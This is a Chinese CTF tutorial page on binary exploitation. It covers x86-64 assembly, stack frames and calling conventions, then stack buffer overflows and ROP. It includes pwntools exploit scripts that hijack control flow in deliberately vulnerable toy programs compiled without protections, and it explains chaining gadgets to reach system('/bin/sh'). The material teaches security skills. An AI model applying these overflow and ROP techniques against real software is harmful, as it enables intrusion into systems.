Pwn | 二进制

Pwn | 二进制

https://hello-ctf.com/HC_PWN/

 

 PWN | 二进制


项目名称Usage项目地址其他
GDB 一般用于 ELF 的动态调试,配合插件 (如 pwngdb,gdb-peda) 使用更佳。 Sourceware /
Pwntools 用于编写 EXP。 GitHub /
Pwncli 一款简单、易用的 pwn 题调试与攻击工具,帮助你快速编写 pwn 题攻击脚本,并实现本地调试和远程攻击的便捷切换,提高你在 CTF 比赛中调试 pwn 题脚本的速度与效率。 GitHub /
Checksec 查看二进制文件开启了哪些保护机制。 GitHub /
ROPgadget 编写 ROP 的 EXP 时需要用到,可以帮助你寻找合适的 gadgets。 GitHub /
objdump 反汇编工具,查看文件的一些表信息,如 got 表。 / /
radare2 UNIX-like reverse engineering framework and command-line toolset. GitHub /
windbg Window 内核模式和用户模式代码调试。 Microsoft Learn /

 

 

也许,在开始正式接触二进制漏洞之前,我们需要先看看汇编语言?

大部分现在市面上的教程对于汇编语言从来都不深究原理,只会告诉你最基础的用法,或者就干脆像同济版的《线性代数》一样,跟本说明书一样,对新手及其不友好,我们这里争取使用最简单的方法来讲解汇编语言,让大家能够快速上手。

开始吧

这里,我们从一个最简单的例子开始

入门 pwn 大伙基本都是从栈溢出开始的,而想要理解栈溢出的最基本原理,汇编和栈是必不可少的,我们这里以一个最简单的 hello world 程序为例子来介绍汇编语言和栈,这里我们用到的环境是 Ubuntu 20,程序都是 64 位的,请先自行装好 gcc

Hello World

main.c

#include<stdio.h>

int main(){
    printf("hello world");
    return 0;
}

相信这是一个大家都能看明白的程序,C 语言的 Hello World,那么接着我们会想用 GCC 等编译器将其编译为二进制文件,从而其就可以在计算机上运行了,而在这个编译过程中,就有一个中间步骤:将 C 语言源码转化为汇编语言

首先对 main.c 做如下操作

gcc -S main.c -o main.s -masm=intel

现在,我们的 c 语言源码 main.c 会被编译,并输出等价的 intel 语法的汇编语言源码在 main.s 中

main.s(这里删除了一些用不到的代码,只保留了需要的

.LC0:
    .string "hello world"
main:
    lea rdi, .LC0[rip]
    mov eax, 0
    call    printf@PLT
    mov eax, 0
    ret

.LC0 可以看做是一个常量,其内容是字符串的 hello world,而下面的 main: 就是 main 函数了

现在我们来介绍现在这个 main 函数用到的几个指令

首先是 lea,其含义是计算有效地址,在这里,我们可以看做是将 .LC0[rip] 的地址,即 hello world 字符串的地址转移至 rdi 寄存器中,好了又提到了一个新的名称:寄存器,这玩意是一个位于 CPU 内的储存结构,里边可以存一些变量啥的,而这里的 rdi 寄存器就是第一个参数的寄存器,这么说可能有点别捏。我们接下来是要调用 printf 函数的,这个在 c 语言源码中也能看出来,在 C 语言中,hello world 字符串是 printf 的第一个参数,那么在汇编里,我们在调用 printf 函数之前,就需要为这一次函数调用准备好参数,而 rdi 寄存器用来传递第一个参数,所以,汇编语言这里就将 hello world 的地址复制到了 rdi 寄存器中

在解决好了参数以后,就直接调用了 printf 函数,即下面的 call printf 指令

在这个过程中,还有两个指令,mov eax, 0 这个我们没有说,mov 是 move 的缩写,这里的意思也就是将 0 复制(转移)到 eax 寄存器中,而 eax 这个寄存器也比较特殊,它是返回值寄存器,任何函数的返回值都会被储存在这个寄存器中,举个例子,在我们 call printf 以后,eax 寄存器内的值就会变成 printf 的返回值,而我们 main 函数在返回的时候是有一个 return 0 的,所以在 ret(return 返回)指令前,有一条 mov eax, 0 的指令,这样在 return 的时候才能保证我们的返回值是 0,至于前面那个 mov eax, 0 其实没啥用

好了讲完了这个最简单的程序,我们再把它复杂化一下,来详细介绍函数调用流程和栈

add.c

#include<stdio.h>

int add(int a, int b){
    return a + b;
} 

int main(){
    printf("%d", add(2, 3));
    return 0;
}

相信这个 add 程序应该也是大家入门函数调用的时候的经典,那么这个 add 程序变成汇编以后是什么样的呢?

add.s(还是省略了一些,但是又多了一点东西

add:
        push    rbp
    mov rbp, rsp
    mov DWORD PTR -4[rbp], edi
    mov DWORD PTR -8[rbp], esi
    mov edx, DWORD PTR -4[rbp]
    mov eax, DWORD PTR -8[rbp]
    add eax, edx
    pop rbp
    ret
main:
    push    rbp
    mov rbp, rsp
    mov esi, 3
    mov edi, 2
    call    add
    mov esi, eax
    lea rdi, .LC0[rip]
    mov eax, 0
    call    printf@PLT
    mov eax, 0
    pop rbp
    ret

先看看 add 函数里都干了什么,前面的 push rbp 和 move rbp rbp,rsp 我们先不管

其将 edi 寄存器内的值通过 mov 指令复制到了 DWORD PTR -4[rbp] 这个地方,这个地方是啥暂时不管,并且将 esi 寄存器内的值复制到了 DWORD PTR -8[rbp] 这个地方,再然后,又将这两个地方的值转移回了 edx 寄存器和 eax 寄存器,嘶,那么 edi 和 esi 寄存器原本是什么东西?其实其是 add 函数第一个参数和第二个参数,那我们之前不是说 rdi 寄存器才是第一个参数吗? edi 其实就是 rdi ,只不过他们的范围不太一样, edi 寄存器的范围为 rdi 寄存器的低 32 位,而 rdi 寄存器是 64 位的,同样的,还有 di 寄存器和 dil 寄存器,分别表示 rdi 寄存器的低 16 位与低 8 位,简单放张图,其表明了这些寄存器之间的关系,侧边也说明了他们的作用,比如说 rdi 就标着 1st argument,表明这是第一个参数的寄存器

下面是一张表,大概包含了各个寄存器

好了回到之前的话题上,在 add 函数中,由于两个参数都是 int 类型的,只占 32 位,所以使用了 edi 寄存器和 esi 寄存器,先将两个参数分别复制到了两个奇奇怪怪的地方,然后又将他们复制到了 eax 寄存器和 edx 寄存器中,那么假设我们调用这个函数的时候这两个参数分别是 3 和 2,那么现在 eax 和 edx 寄存器内就是 3 和 2 了

下一步,执行 add eax, edx,这条指令用膝盖都能猜到是做加法的意思,而其具体含义是 eax = eax + edx,那么也就是说将 edx 寄存器内的值加到 eax 上,所以现在 eax 就是这个加法函数的结果了,正好其实 eax 寄存器,是返回值寄存器,所以下面就直接 ret 了(先不管 pop 指令)

相对应 add 的,还有 sub(减法),mul(乘法),divl(除法),sall(左移),salr(右移),neg(取补),not(取反)等基础计算指令,具体的用法大家就百度一下吧~

现在我们就需要了解栈这个概念了,对于每一个函数调用过程,都会有一个属于其的栈空间

先简单地介绍一下栈,对于每一个程序,其启动的时候,内核会为其分配一段内存,称为栈,假设在这个 add 程序中,内核为其分配的栈空间为 0xff00 - 0x10000,那么在启动的时候,rsp 寄存器就会被赋值为 0x10000,对,赋的值是栈的最高地址,事实上,rsp 寄存器储存的总是当前栈顶的位置

回到程序上来,在 main 函数启动的时候,会执行 push rbp 指令,push rbp 指令等价于下面两条指令

sub rsp, 8
mov QWORD PTR [rsp], rbp

首先由 sub 指令将栈顶向下移了 8 个字节,也就是对 rsp 减个 8,然后将 rbp 寄存器内的值复制到 rsp 所指的地址上,前面的 QWORD PTR 表明我们要复制 8 个字节,也就是说将 rbp 寄存器内的 8 个字节(64 位)复制到了我们刚刚“开辟”出来的 8 字节在栈上的空间。对应 QWORD(8 字节)的有 DWORD(4 字节),WORD(2 字节),BYTE(1 字节)

之前说了,rsp 总是指向栈顶的位置,假设在进入 main 函数的时候(main 并不是真正的程序入口),rsp 寄存器指向 0xff80 的位置,那么执行了 push rbp 以后,栈就变成了这个样子

所以,push 的含义其实也就很明确了,就是将一个值给压到栈里面去,在 main 函数中,这一步 push rbp 的作用其实是将 rbp 寄存器的值临时储存到栈里面,这样我们就可以拿 rbp 寄存器去干别的事了,只需要在返回之前将 rbp 寄存器的值还回去就好了

现在就可以解释之前 add 函数里那两个奇怪的地方了,其实就是栈,我们先将传进来的两个参数作为临时变量储存在了栈中

来完整走一遍 add 函数的流程,首先,由 push rbp 将 rbp 原本的值保存在栈中,然后 mov rbp, rsp ,使用 rbp 寄存器来储存当前栈顶的位置,再将传入的两个参数保存到栈中, -4[rbp] 指的是 rbp 所指的地址减 4 后的地址,同理 -8[rbp] 就是 rbp 所指的地址减 8 后的地址,因为这两个参数都是 int,都是 4 字节,所以对于每个参数就只需要给 4 个字节的栈空间即可,再然后,将这两个值复制到了 edx 和 eax 寄存器中,并完成加法,在返回前还需要 pop rbp ,pop 和 push 是对应的,push 是压栈,pop 就是出栈, pop rbp 就是将 rbp 原本的值还给 rbp 寄存器,这样可以保证在这个函数调用的过程中原本的环境(即一些变量啥的)没有发生改变,最后再通过 ret 指令返回,返回到 call add 指令的下一条指令,对于调用 add 函数的 main 函数而言,它也拿到了它想要的 add 的结果,储存在 eax 寄存器中,他只需要从这个寄存器内拿结果就好了

32 位传参补充

一点补充:在 32 位的 Linux 程序下,gcc 并不会默认使用寄存器来传递参数,而是会使用栈,第一个参数就第一个 push 到栈中,比如说,我们有一个函数

int add(int a, int b){
    return a + b;
}

那么在 32 位的 Linux 程序下,在汇编中 call add 就是这样的

push 1
push 2
call add

其等价于 add(1, 2)

逻辑控制

了解完上面的流程后,不知道大概会不会有一个疑问,ret 是依靠什么记住返回地址在哪的?它怎么知道要返回到 call add 的下一条指令?

在这之前,我们需要了解一下 JMP 指令和 CMP/TEST 指令,先看 CMP 吧

CMP:CMP 表示比较两个寄存器或者内存中的值,比较的结果会影响到标志寄存器

标志位寄存器:标志位寄存器是一个 64 位的寄存器,其内部有很多标志位,什么是标志位??我们先把 64 位的寄存器看成 64 个个二进制位,然后,我们先考虑只用其中的 3 个位,其中第一位表示我今天吃了 M 记,第二位表示我今天打了胶,第三位表示我今天窜了,那么如果我今天什么都没干,就可以用 000 表示我今天的状态,而如果我今天只窜了,就可以用 001 表示我今天的状态,这样,我们就可以用这三个位来表示我今天的状态了,而这三个位就是标志位,而标志位寄存器就是用来储存这些标志位的,而 CMP 指令就是用来改变标志位的,比如说,如果两个值相等,那么 ZF(零标志位)就会被置为 1,如果两个值不相等,那么 ZF 就会被置为 0,这个 ZF 就是一个标志位,用来标志两个值是否相等

跳转:有了标志位,我们就可以根据标志位来决定是否跳转了,比如说,我们可以这样写,如果是相等就跳转的话,我们可以这么写

je 0x12345678

je 表示 JUMP IF EQUAL,即相等就跳转,其等价于 JUMP IF ZF = 1,即如果 ZF 标志位为 1,就跳转到 0x12345678 这个地址,而这个地址就是我们要跳转到的地址,这个地址可以是一个函数的地址,也可以是一个标签的地址,比如说,我们可以这么写

之前说了,CMP 指令可以比较两个数,那具体是怎么比较的呢?其实很简单啊。。

CMP eax, ebx 等价于 SUB eax, ebx,即 eax - ebx,但是不会将结果放回 eax,并同时会影响标志位,如果说现在减完的结果为 0,那么 ZF 就会被置为 1,如果不为 0,那么 ZF 就会被置为 0

OK,那现在可以写一个简单的 if 语句了

#include<stdio.h>

int main(){
    int a = 1;
    int b = 2;
    if(a == b){
        printf("a == b");
    }
    return 0;
}

可以编译为汇编语言

.LC0:
    .string "a == b"
main:
    push    rbp
    mov rbp, rsp
    mov DWORD PTR -4[rbp], 1
    mov DWORD PTR -8[rbp], 2
    mov eax, DWORD PTR -4[rbp]
    cmp eax, DWORD PTR -8[rbp]
    jne .L2
    lea rdi, .LC0[rip]
    mov eax, 0
    call    printf@PLT
.L2:
    mov eax, 0
    pop rbp
    ret

可以看到,其实现的原理就是,先将 a 和 b 的值分别复制到 eax 和 edx 寄存器中,然后比较 eax 和 edx 寄存器中的值,如果相等就跳转到 .L2 这个标签所在的位置,如果不相等就继续往下执行

下面我们列出一张表,表中列出了一些常用的跳转指令

指令含义语法
JMP 无条件跳转 JMP 目标地址
JE 相等跳转 JE 目标地址
JNE 不相等跳转 JNE 目标地址
JZ 零标志位跳转 JZ 目标地址
JNZ 非零标志位跳转 JNZ 目标地址
JA 无符号大于跳转 JA 目标地址
JAE 无符号大于等于跳转 JAE 目标地址
JB 无符号小于跳转 JB 目标地址
JBE 无符号小于等于跳转 JBE 目标地址
JG 有符号大于跳转 JG 目标地址
JGE 有符号大于等于跳转 JGE 目标地址
JL 有符号小于跳转 JL 目标地址
JLE 有符号小于等于跳转 JLE 目标地址

循环

有了跳转,我们就可以实现循环了,比如说,我们想要实现一个循环,让程序一直输出 hello world,那么我们可以这么写

#include<stdio.h>

int main(){
    while(1){
        printf("hello world");
    }
    return 0;
}

编译为汇编语言

.LC0:
    .string "hello world"
main:
    push    rbp
    mov rbp, rsp
.L2:
    lea rdi, .LC0[rip]
    mov eax, 0
    call    printf@PLT
    jmp .L2
    mov eax, 0
    pop rbp
    ret

可以看到啊,本质上就是 JMP 指令的使用,而像 for 循环,本质上就是 CMP 套 JMP,仍然是一样

#include<stdio.h>

int main(){
    for(int i = 0; i < 10; i++){
        printf("hello world");
    }
    return 0;
}

编译为汇编语言

.LC0:
    .string "hello world"
main:
    push    rbp
    mov rbp, rsp 
    mov DWORD PTR -4[rbp], 0 // int i = 0
.L2:
    cmp DWORD PTR -4[rbp], 9 // i < 10
    jg  .L3                  // 不满足条件就跳转到.L3,即跳出循环
    lea rdi, .LC0[rip]
    mov eax, 0
    call    printf@PLT
    add DWORD PTR -4[rbp], 1 // i++
    jmp .L2                  // 返回到for循环的开始
.L3:
    mov eax, 0
    pop rbp
    ret

最后,是 TEST 指令,其实和 CMP 指令差不多,只不过其是等价于 AND 指令,即 TEST eax, ebx 等价于 AND eax, ebx,其会将 eax 和 ebx 寄存器内的值进行与操作,并同时会影响标志位,如果说现在与完的结果为 0,那么 ZF(零标志位)就会被置为 1,如果不为 0,那么 ZF 就会被置为 0

最后的最后,我们提一下标志位吧,实际上标志位是很多的,因为 SUB ADD 等操作是会产生溢出的,以及会有负数处理的情况,比如说 2222-3333=-1111,这是导致了正数被减为了负数,这种情况就会影响标志位,比如说,如果是正数减为了负数,那么 SF(符号标志位)就会被置为 1,如果是负数减为了正数,那么 SF 就会被置为 0,而 OF(溢出标志位)就会被置为 1,如果没有溢出,那么 OF 就会被置为 0,这里就不再一一列举了,大家可以自行百度一下

函数调用

在上面的例子中,我们已经见识到了函数调用的过程,但是返回具体是怎么返回的呢?我们其实只需要拆解 call 指令和 ret 指令即可,先看 call

call func

push rip
jmp func

rip 寄存器是受到硬件控制,永远指向下一条指令的地址,所以,我们先将 rip 寄存器内的值压栈,然后跳转到 func 函数,这样,func 函数就可以把要返回的地址储存在栈里

ret

pop rip

将栈顶的值弹出到 rip 寄存器中,这样就可以返回到 call 指令的下一条指令了

现在你知道了,其实函数调用的过程就是将返回地址压栈,然后跳转到函数,然后函数执行完毕后,再将返回地址弹出到 rip 寄存器中,这样就可以返回到 call 指令的下一条指令

 

在学习 C 语言的过程中,使用数组,字符串(可以理解为特殊的数组)时,都会注意下标是否会越界,以保证程序正常运行。而在这里,我们将会反其道而行之,探索栈溢出或栈上数组越界时会发生什么,以及怎么利用这些漏洞实现攻击。

前置知识

注:以下内容推荐有 C 语言基础,且了解基本的数据结构的同学阅读,建议先简单了解 Linux 系统可执行程序的装载之后阅读。文中的代码需在 Linux 环境下,使用 gcc 编译得到,代码块第一行为编译参数。

虚拟地址空间(以 Linux 为例)

在现代的操作系统中,每个进程都有一个独立,连续的虚拟地址空间,而虚拟地址空间是按页(4k 大小)与物理内存一一对应,按需分配。用户态的程序基本只能接触的虚拟地址空间,对内存的操作也基本是对虚拟地址空间的操作。

下图即为 Linux 系统基本的虚拟地址空间的结构

kernel space 为系统内核的内存映射

stack 为进程的栈内存

dynamic link libraries 为动态链接库的内存映射

heap 为堆内存

ELF 为可执行程序的内存映射

GAP 为未使用的空白内存

基本的栈帧结构(以 x64 的栈为例)

在 C 语言中,函数的临时变量是储存于栈上的。栈的增长方向是高地址向低地址,栈底在高地址一侧。

每个函数有自己对应的栈帧,下图为栈帧的基本结构。

RBP 为栈底寄存器,RSP 为栈顶寄存器,分别记录了栈帧中记录数据部分的起始和终止地址。函数的临时变量的在内存中的位置都是通过这两个寄存器加减偏移确定的。

栈底分别还记录了上一个栈帧的 RBP 的值,以及函数的返回地址。

函数调用与栈帧变化

前面提到了函数的临时变量是存在栈上的,这里就来了解一下函数调用时栈帧的压栈和出栈过程。

以下面这个代码为例

#include <stdio.h>

void test() {
    char* str = "Hello World!";
}

int main() {
    test();
    return 0;
}

这段代码对应的汇编大致如下(省略函数的具体细节,仅仅保留了调用相关内容)

其中 call test 可以近似理解为 push addr_after_call; jmp testleave 可以近似理解为 mov rsp, rbp; pop rbpret 可以近似理解为 pop rip

test:
    push    rbp
    mov     rbp, rsp
    sub     rsp, 16
    ...
    leave
    ret
main:
    ...
    call    test
    ...

对应的栈帧变化如下(添加底色的汇编指令为即将执行的指令,call test 为 GIF 的开始)

数组越界

在开始之前,先明白一个东西:C 语言是一个非常自由的语言,除了语法外对你基本没有限制。

通过越界读取栈上的内容

看下面这个程序,很明显,第二个 for 循环中存在数组越界。

// gcc -no-pie -fno-stack-protector -g test.c
#include <stdio.h>

int main() {
    unsigned long long arr[10];

    for (int i = 0; i < 10; i++) {
        arr[i] = 0xdeadbeef;
    }

    for (int i = 0; i < 12; i++) {
        printf("arr[%d] = 0x%llx\n", i, arr[i]);
    }

    return 0;
}

下图即为这段程序的输出。

可以看到程序并没有出现异常退出的情况,同时 arr[10] 和 arr[11] 也读出了数据。这里,我们可以通过 gdb 看看 arr[10] 和 arr[11] 对应的是什么东西。

下图即为 gdb 的一些调试信息,其中 arr[10] 的地址对应为&arr + 10 * 8,由此可以看出 C 语言自身其实并没有限制下标的范围,而是直接根据数组的基地址计算对应下标的元素的基地址。

现在我们可以通过数组越界读到栈上的内容,我们继续尝试通过数组越界来往栈上写东西。

通过越界篡改栈上的内容

我们看下面这个程序,arr[11] = 0xcafebabe;存在数组越界。

// gcc -no-pie -fno-stack-protector -g test.c
#include <stdio.h>

int main() {
    unsigned long long arr[10];
    unsigned long long var = 0xdeadbeef;

    printf("var = %llx\n", var);

    arr[11] = 0xcafebabe;

    printf("var = %llx\n", var);

    return 0;
}

下图即为这段程序的输出。可以发现 var 的值被成功修改了。

通过越界控制程序流

现在我们可以用非法的方式任意读写栈上的内容了,我们继续拓展,接下来我们要通过非法的方式控制程序的执行流。

控制程序流的本质就是控制 rip 寄存器。那么,栈上有什么东西能影响 rip 寄存器呢?联系前面的栈帧的结构,可以结合栈上的返回地址和 ret 指令实现控制 rip 寄存器。

下面这个程序的目的是通过 arr 下标越界控制程序流。

// gcc -no-pie -fno-stack-protector -g test.c
#include <stdio.h>

void func() { printf("func called.\n"); }

int main() {
    unsigned long long arr[10];

    arr[11] = (unsigned long long)func;

    return 0;
}

下图为程序的运行结果。

上面的程序对应的汇编大致如下:

func:
    ...
main:
    push    rbp
    mov     rbp, rsp
    sub     rsp, 0x50
    lea     rax, [func]
    mov     qword ptr [rbp + 8], rax
    mov     eax, 0
    leave
    ret

对应的栈帧变化如下(添加底色的汇编指令为即将执行的指令,lea rax, [func] 为 GIF 的开始)

字符串栈溢出

字符串栈溢出基本原理

字符串可以理解为特殊的数组,所以字符串也有与数组类似的特性(编译和运行时并不会检查字符串的长度)。在字符串栈溢出的漏洞多数是由 getsscanfread 等输入函数以及 memcpystrcpy 等 string.h 库中的函数没有正常处理字符串长度造成的。

这里以 read 为例,下面段代码中 str 的长度为 0x20,而 read 能够读取 0x50 的字符串。

// gcc -no-pie -fno-stack-protector -g test.c
#include <stdio.h>

void func() { printf("func called\n"); }

int main() {
    char str[0x20];

    read(0, str, 0x50);

    return 0;
}

下图为程序的运行结果,可以看到程序是因为异常推出的。

上面的程序对应的汇编大致如下:

func:
    ...
main:
    push    rbp
    mov     rbp, rsp
    sub     rsp, 0x20
    lea     rax, [rbp-0x20]
    mov     edx, 0x50
    mov     rsi, rax
    mov     edi, 0
    mov     eax, 0
    call    read
    mov     eax, 0
    leave
    ret

对应的栈帧变化如下(添加底色的汇编指令为即将执行的指令,call read 为 GIF 的开始)

由上图可以看出,只要我们适当地控制输入的值就可以实现修改返回地址,从而实现控制程序的程序流。

字符串栈溢出劫持执行流

为了快速构造合适的输入值,实现对程序流的控制,这里引入里一个基于 python 的工具 pwntools

#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *

# context.log_level = "debug"
# context.terminal = ["konsole", "-e"]
context.arch = "amd64"

p = process("./a.out")

elf = ELF("./a.out")

target_address = elf.sym["func"]

payload = b"A" * 0x28
payload += p64(target_address)

p.send(payload)

p.interactive()

上面这个脚本中:

p 为进程对象(可以将 process 换成 remote(address, port) 使其变成远程连接的对象)

elf 为可执行程序对象,elf.sym["func"] 为获取可执行程序中符号 func 的地址

p64 为将数字根据端序转为 64 位的字节流。

p.send(payload) 为将 payload 发送到对应的进程或者远程连接。

p.interactive() 为保持交互,将输入方从脚本改为用户。

注意 python3 版本的 pwntools 的 payload 的字符串之前需要加上 b 前缀

下图即为脚本的运行结果。

前面我们已经知道了可以通过覆盖返回地址控制程序流,但是只能实现使程序执行到某一个地址继续执行,还不能实现复杂的逻辑。接下来,就一起来看看如何基于覆盖返回地址实现复杂逻辑。

面向返回编程(ROP)

ROP 原理

ROP 的主要目的便是通过在合适的位置布置一连串的返回地址,从而实现相对复杂的逻辑。举个栗子,我们已经在 Stack_Overflow 中学习到了如何劫持返回地址,但是我们所做的只是一个跳转至“后门函数”,其距离可以真正劫持到恶意代码上还有很远的路要走,而 ROP 就是一种解决方案,其通过精心布局栈上的地址来完成复杂逻辑的跳转

32 位 ROP

一切,先从 32 位的 ROP 开始,其实大部分教材都是从 64 位开始的,但是 64 位开始会给新手在参数传递的过程中带来一定的迷惑性,因此我们从 32 位开始,先让我们回到 ret 之前的操作,假设溢出处的汇编指令如下

0x400000 func:
0x400000    mov eax, 0xdeadbeef
0x400004    ret
0x400005 main:
0x400005    call func
0x400009    mov eax, 0
0x40000b    ret

并且我们的栈帧如下图所示:

地址如果值为指针,其指向的地址RSP
0x0000000c 0x400005 mov eax, 0 <-
0x00000008 0x00000000 0x00000000  
0x00000004 0x00000000 0x00000000  
0x00000000 0x00000000 0x00000000  

按照正常情况下,进行返回,如果劫持返回,我们其实已经知道,很简单,溢出修改 0x000000c 处的值使得 0x400005 变成我们想要的地址即可,但是其只能干最简单的事情,想要真正劫持程序需要的是什么?当然是 getshell 了,那么在二进制如何 getshell?当然是 system("/bin/sh") 了!

现在假设 system 的地址是 0xf7000000,那么我们理所当然想要将 0x400005 修改为 0xf7000000,于是问题就出现了,"/bin/sh"从哪来?

还是先假设,"/bin/sh"的地址是 0xdeadbeef

那么我们就需要在 ROP 的时候将 0xdeadbeef 传递给 0xf7000000,但是怎么传???一脸问号是吧,既然 ROP 很难理解,不妨我们回到最开始,来看看函数调用的过程中 32 位下是如何传递参数的

考虑一个参数的函数 foo,我们想要调用 foo(233),汇编应该是这样的

push 233
call foo
nop

我们来看看这个过程中函数栈帧的变化

地址如果值为指针,其指向的地址RSP
0x0000000c 0   <-
0x00000008 0    
0x00000004 0    
0x00000000 0    

首先第一步 push 233,其实就是将 233 压入栈中

地址如果值为指针,其指向的地址RSP
0x0000000c 0    
0x00000008 233   <-
0x00000004 0    
0x00000000 0    

第二步 call foo,其实就是将当前的返回地址压入栈中,然后跳转到 foo 函数

地址如果值为指针,其指向的地址RSP
0x0000000c 0    
0x00000008 233    
0x00000004 call foo 的下一条指令 nop <-
0x00000000 0    

好,到此为止,大家思考一个问题,是不是当 foo 函数返回的时候(即 ret 指令执行的时候),RSP(ESP)应该也在这个位置,想明白了就继续往下看,没想明白就先想想

现在这一瞬间,是 foo 开始执行的时候,RSP(ESP)指向返回地址,而它需要的参数位于 RSP + 4 的位置,是否意味着,如果我们通过 ROP 劫持返回地址到 foo 的时候,我们应该确保进入 foo 函数的瞬间 RSP + 4 的位置应该是它的第一个参数?同时 RSP 为 foo 的返回地址

最后,我们将 foo 函数看做是 system 函数,是不是意味着,如果我们想要通过 ROP 劫持返回地址到 system 的时候,我们应该确保进入 system 函数的瞬间 RSP + 4 的位置应该是它的第一个参数?同时 RSP 为 system 的返回地址

那么回到最开始,我们想要劫持返回地址到 system,我们应该怎么做呢? 我们只需要将栈给覆写成下面这样就好了

地址如果值为指针,其指向的地址RSP
0x00000014 0xdeadbeef "/bin/sh"  
0x00000010 0x00000000  
0x0000000c 0xf7000000 system 的开始 <-
0x00000008 0x00000000    
0x00000004 0x00000000    
0x00000000 0x00000000    

这样,当存在漏洞的函数执行 ret 命令时,首先会因为 ret 返回到 system,此时 RSP 指向了 0x00000010 其为 system 的返回值,但是因此我们已经进入了 system 函数,因此 system 要返回到哪里去与我们无关,我们 getshell 了就行了,不需要下一步了。而此时,RSP + 4 为"/bin/sh",其就理所当然地成为了 system 的第一个参数,从而 getshell 成功

那么,以上的所有事情,前提都是我们知道 system 的地址和"/bin/sh"的地址,那么我们如何知道这两个地址呢?这就需要我们去寻找 gadget 了,这个在后门中我们再讨论,现在我们先讨论如果需要在 ROP 中按顺序调用多个函数的情况

其实你也猜到了,我们之前劫持到 system 的时候还有个 system 的返回地址是留空的没有使用呢,其实只需要将这个留空改成下一个函数的地址就好了,这样就可以实现按顺序调用多个函数,至于传参,这是一个大坑,之后填

64 位 ROP

64 位的 ROP 在我看来,其实比 32 位的简单多了,因为 64 位的参数传递是通过寄存器传递的,我们只需要通过控制寄存器的值就可以实现参数传递,因此更多的是通过合适的手段将寄存器修改为我们想要传递的值

先阐述一个事实,在没那么新的 gcc 中,程序都会被编译进一个 _libc_init_csu 函数用于初始化,在这个函数中,有一个汇编片段如下

pop r15
ret

其中,pop r15 占 2 字节,我们假设其起始地址为 0x8,那么 ret 的地址就是 0xa,那么问题来了,0x9 这个地址,它是合法的吗?

事实上确实是合法的,而且很有用,如果从 0x9 开始看这个代码片段,由于地址错位的问题,代码片段会变成这样

pop rdi
ret

这个字节错位弄出来的代码片段,非常有用,因为其 pop rdi 这条指令,让我们有能力通过栈去修改寄存器了,而这个寄存器就是 rdi,那么我们就可以通过栈去修改 rdi 的值,从而实现参数传递了

这些有用的代码片段,我们一般就称为 gadget

来看看 64 位下怎么实现和 32 位一样的 ROP 吧,还是考虑返回到 system("/bin/sh")

假设 system 的地址是 0x7f000000"/bin/sh"的地址是 0xdeadbeef

现在覆盖栈如下

地址如果值为指针,其指向的地址RSP
0x00000018 0x7f000000 system 的开始  
0x00000010 0xdeadbeef "/bin/sh"  
0x00000008 gadget pop rdi; ret <-

最后开始颅内模拟一下,首先,ret 返回到 pop rdi,此时 RSP 指向了 0x00000010,而 pop rdi 会将 0xdeadbeef 赋给 rdi,这个过程中,RSP 指向了 0x00000018, 然后 ret 返回到 system,此时 RSP 指向了 0x00000020,而 system 的第一个参数就是 rdi,因此 system 的第一个参数就是 0xdeadbeef,也就是 "/bin/sh",从而 getshell 成功,至于 system 的返回地址,我们不需要管,因为我们已经 getshell 了,但是如果你想实现按顺序调用多个函数,那么你就需要将 0x00000020 改成下一个函数的地址,这样就可以实现按顺序调用多个函数,至于多个参数的传递,这又是一个大坑,之后填

示例

以下面这个程序为例,目标是先后执行 func1-func3

// gcc test.c -no-pie -fno-stack-protector -g
#include <stdio.h>

void func1() { printf("func1 called\n"); }

void func2() { printf("func2 called\n"); }

void func3() { printf("func3 called\n"); }

int main() {
    char str[0x20];

    read(0, str, 0x50);

    return 0;
}

对应的 exp 脚本如下:

#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *

# context.log_level = "debug"
# context.terminal = ["konsole", "-e"]
context.arch = "amd64"

p = process("./a.out")

elf = ELF("./a.out")

func1_address = elf.sym["func1"]
func2_address = elf.sym["func2"]
func3_address = elf.sym["func3"]

payload = b"A" * 0x28
payload += p64(func1_address)
payload += p64(func2_address)
payload += p64(func3_address)

p.send(payload)

p.interactive()

单看这个脚本可能会有点抽象,下面是栈帧变化的动画演示:

gadget

现在我们已经能够实现通过在合适的位置布置地址实现按照一定的顺序调用函数。但是这还不够精细,毕竟我们现在还很难控制调用这些函数时传递的参数(可以先了解一下 Linux 下 C 语言的调用约定)。这里就需要引入一个新的概念 ——gadget。

gadget 在这里指的是以 ret 指令结尾的代码片段,例如 leave; ret 就是一个很常用的 gadget。我们可以利用各种合适的 gadget 拼凑出需要的程序逻辑。

获取 gadget

获取 gadget 可以使用工具 ROPgadget 获取到 elf 文件中的大部分 gadget。如下图

结果可以结合 grep 工具进行搜索,不过我更推荐结合 fzf 使用,但是这个需要写 shell 脚本,下面这个是我自己用的 shell 脚本,能够快速搜索,并把搜索结果存入剪贴板(使用的 shell 为 fish,显示服务器为 wayland)

function find_gadget -d "find gadget from binary file"
    set -l file $argv[1]
    set -l file_md5 (md5sum $file | cut -d ' ' -f 1)

    if ! test -f ./gadget-$file-$file_md5
        ROPgadget --binary $file > ./gadget-$file-$file_md5
    end

    set -l result (cat ./gadget-$file-$file_md5 | fzf)

    if test -z $result
        echo "No gadget selected."
        return
    end

    set -l addr (string sub --length 18 $result)

    wl-copy $addr

    echo "The offset of gadget '$result' has been saved to the clipboard."
end

示例

已下面这个程序为例,目的是让程序输出 Hello, World!

#include <stdio.h>

char *str = "Hello, World!";

void func1() { puts("func1 called"); }

int main() {
    char str[0x20];

    read(0, str, 0x50);

    return 0;
}

对应的 exp 脚本如下:

#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *

# context.log_level = "debug"
# context.terminal = ["konsole", "-e"]
context.arch = "amd64"

p = process("./a.out")

elf = ELF("./a.out")

puts_addr = elf.sym["puts"]
str_hello_world = 0x00402004
pop_rdi_ret = 0x0000000000401203

payload = b"A" * 0x28
payload += p64(pop_rdi_ret)
payload += p64(str_hello_world)
payload += p64(puts_addr)

p.send(payload)

p.interactive()

栈帧变化的动画演示:

 

 

前言

前面我们已经了解了基本的 ROP 原理,这一章主要整合了常用的 ROP 技巧。(这里仅仅是记录了我所知的技巧,欢迎各位师傅补充)

ret2xxx 系列

学习 ROP 的过程中经常会看到如 ret2textret2libcret2syscall 等利用手法,ret2 后面的内容便是 ROP 链中各种函数,gadget 的来源。

注意:这些并不是某个完整的利用方法,而是某个完整的利用方法的一部分

ret2text

ret2text 就是利用下图中 ELF 部分中储存可执行代码的部分(即.text 段),如前一章中的 ROP 的例子便是 ret2text

